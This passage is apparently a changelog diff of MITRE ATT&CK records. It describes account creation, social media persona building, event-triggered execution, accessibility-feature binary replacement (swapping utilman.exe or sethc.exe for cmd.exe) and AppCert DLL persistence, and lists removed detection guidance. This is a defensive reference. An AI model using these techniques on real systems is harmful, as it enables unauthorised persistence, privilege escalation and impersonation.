+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Persona: Social Media\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.456000+00:00\", \"old_value\": \"2025-04-15 22:28:26.144000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0021: Persona (Social Media)",
+ "DS0029: Network Traffic (Network Traffic Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0873: Detection of Establish Accounts"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2022-05-27 14:06:05.130000+00:00",
+ "modified": "2025-10-24 17:49:06.502000+00:00",
+ "name": "Cloud Accounts",
+ "description": "Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nCreating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1585/003",
+ "external_id": "T1585.003"
+ },
+ {
+ "source_name": "Awake Security C2 Cloud",
+ "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.",
+ "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Francesco Bigarella"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.502000+00:00\", \"old_value\": \"2025-04-15 22:01:31.837000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0846: Detection of Cloud Accounts"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 01:09:53.217000+00:00",
+ "modified": "2025-10-24 17:48:52.378000+00:00",
+ "name": "Email Accounts",
+ "description": "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services \u2013 such as trial periods \u2013 to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)\n\nAdversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1585/002",
+ "external_id": "T1585.002"
+ },
+ {
+ "source_name": "Trend Micro R980 2016",
+ "description": "Antazo, F. and Yambao, M. (2016, August 10). R980 Ransomware Found Abusing Disposable Email Address Service. Retrieved October 13, 2020.",
+ "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/r980-ransomware-disposable-email-service/"
+ },
+ {
+ "source_name": "Free Trial PurpleUrchin",
+ "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
+ "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
+ },
+ {
+ "source_name": "Mandiant APT1",
+ "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
+ "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
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+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.378000+00:00\", \"old_value\": \"2025-04-15 22:25:33.493000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
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+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0835: Detection of Email Accounts"
+ ],
+ "dropped": []
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+ {
+ "type": "attack-pattern",
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 01:08:41.124000+00:00",
+ "modified": "2025-10-24 17:49:14.364000+00:00",
+ "name": "Social Media Accounts",
+ "description": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1585/001",
+ "external_id": "T1585.001"
+ },
+ {
+ "source_name": "NEWSCASTER2014",
+ "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
+ "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
+ },
+ {
+ "source_name": "BlackHatRobinSage",
+ "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
+ "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
+ }
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+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Persona: Social Media\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.364000+00:00\", \"old_value\": \"2025-04-15 23:09:01.225000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\"}}}",
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+ ],
+ "new": [],
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+ "shared": [],
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+ "shared": [],
+ "new": [
+ "DET0851: Detection of Social Media Accounts"
+ ],
+ "dropped": []
+ }
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+ "type": "attack-pattern",
+ "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-22 21:04:23.285000+00:00",
+ "modified": "2025-10-24 17:49:15.866000+00:00",
+ "name": "Event Triggered Execution",
+ "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546",
+ "external_id": "T1546"
+ },
+ {
+ "source_name": "FireEye WMI 2015",
+ "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
+ "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
+ },
+ {
+ "source_name": "Microsoft DART Case Report 001",
+ "description": "Berk Veral. (2020, March 9). Real-life cybercrime stories from DART, the Microsoft Detection and Response Team. Retrieved May 27, 2022.",
+ "url": "https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team"
+ },
+ {
+ "source_name": "amnesia malware",
+ "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.",
+ "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"
+ },
+ {
+ "source_name": "Backdooring an AWS account",
+ "description": "Daniel Grzelak. (2016, July 9). Backdooring an AWS account. Retrieved May 27, 2022.",
+ "url": "https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9"
+ },
+ {
+ "source_name": "Varonis Power Automate Data Exfiltration",
+ "description": "Eric Saraga. (2022, February 2). Using Power Automate for Covert Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.",
+ "url": "https://www.varonis.com/blog/power-automate-data-exfiltration"
+ },
+ {
+ "source_name": "Malware Persistence on OS X",
+ "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
+ "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "SaaS",
+ "IaaS",
+ "Office Suite"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"WMI: WMI Creation\", \"File: File Metadata\", \"File: File Creation\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Cloud Service: Cloud Service Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.866000+00:00\", \"old_value\": \"2025-04-15 22:28:46.740000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \\n\\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \\n\\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \\n\\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \\n\\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. \", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \\n-\\n-These mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \\n-\\n-Monitor for processes, API/System calls, and other common ways of manipulating these event repositories. \\n-\\n-Tools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \\n-\\n-Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. \"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0005: WMI (WMI Creation)",
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Metadata)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0025: Cloud Service (Cloud Service Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0010: Behavioral Detection of Event Triggered Execution Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 14:32:40.315000+00:00",
+ "modified": "2025-10-24 17:48:56.964000+00:00",
+ "name": "Accessibility Features",
+ "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/008",
+ "external_id": "T1546.008"
+ },
+ {
+ "source_name": "Narrator Accessibility Abuse",
+ "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.",
+ "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html"
+ },
+ {
+ "source_name": "FireEye Hikit Rootkit",
+ "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
+ },
+ {
+ "source_name": "DEFCON2016 Sticky Keys",
+ "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
+ "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
+ },
+ {
+ "source_name": "Tilbury 2014",
+ "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Paul Speulstra, AECOM Global Security Operations Center"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Creation\", \"File: File Modification\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.964000+00:00\", \"old_value\": \"2025-04-15 19:58:41.211000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1028: Operating System Configuration",
+ "M1035: Limit Access to Resource Over Network",
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0033: Detection Strategy for Accessibility Feature Hijacking via Binary Replacement or Registry Modification"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 14:47:41.795000+00:00",
+ "modified": "2025-10-24 17:49:00.663000+00:00",
+ "name": "AppCert DLLs",
+ "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/009",
+ "external_id": "T1546.009"
+ },
+ {
+ "source_name": "Elastic Process Injection July 2017",
+ "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+ },
+ {
+ "source_name": "Sysinternals AppCertDlls Oct 2007",
+ "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20130401232752/https://forum.sysinternals.com/appcertdlls_topic12546.html"
+ },
+ {
+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.663000+00:00\", \"old_value\": \"2025-04-15 19:58:44.894000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \\n\\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\\n\\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. 